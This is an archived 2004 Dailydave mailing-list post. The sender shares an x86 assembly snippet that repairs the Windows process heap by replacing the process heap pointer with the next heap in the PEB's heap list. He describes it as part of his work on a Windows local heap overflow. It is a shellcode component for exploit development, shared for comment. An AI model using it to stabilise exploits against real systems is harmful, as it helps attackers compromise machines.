Dailydave mailing list archives

Fix heap code


From: Cesar <sqlsec () yahoo com>
Date: Fri, 18 Jun 2004 17:07:54 -0700 (PDT)

Hi.

Dave was talking about some generic fix heap code, i'm
working in a new Windows local heap hole, and i'm
using the next code to fix the heap, it's working ok
on W2k, i just thought i would share this and hear
comments:
                                                                //Fixing  the heap
        mov eax, dword ptr fs:[0x18]    // Get pointer to TEB
        mov eax, dword ptr[eax+0x30]    // Get pointer to the
PEB from TEB.
        lea ebx, dword ptr[eax+0x18]    // Get pointer to
process heap from PEB
        mov eax, dword ptr[eax+0x90]    // Get pointer to heaps
list
        lea eax, [eax+0x4]              
        mov eax, [eax]                                  // Get pointer to next heap in
list
        mov [ebx], eax                  // Replace process
heap with next heap in list


Cesar.


                
__________________________________
Do you Yahoo!?
Yahoo! Mail - Helps protect you from nasty viruses.
http://promotions.yahoo.com/new_mail
_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://www.immunitysec.com/mailman/listinfo/dailydave


Current thread: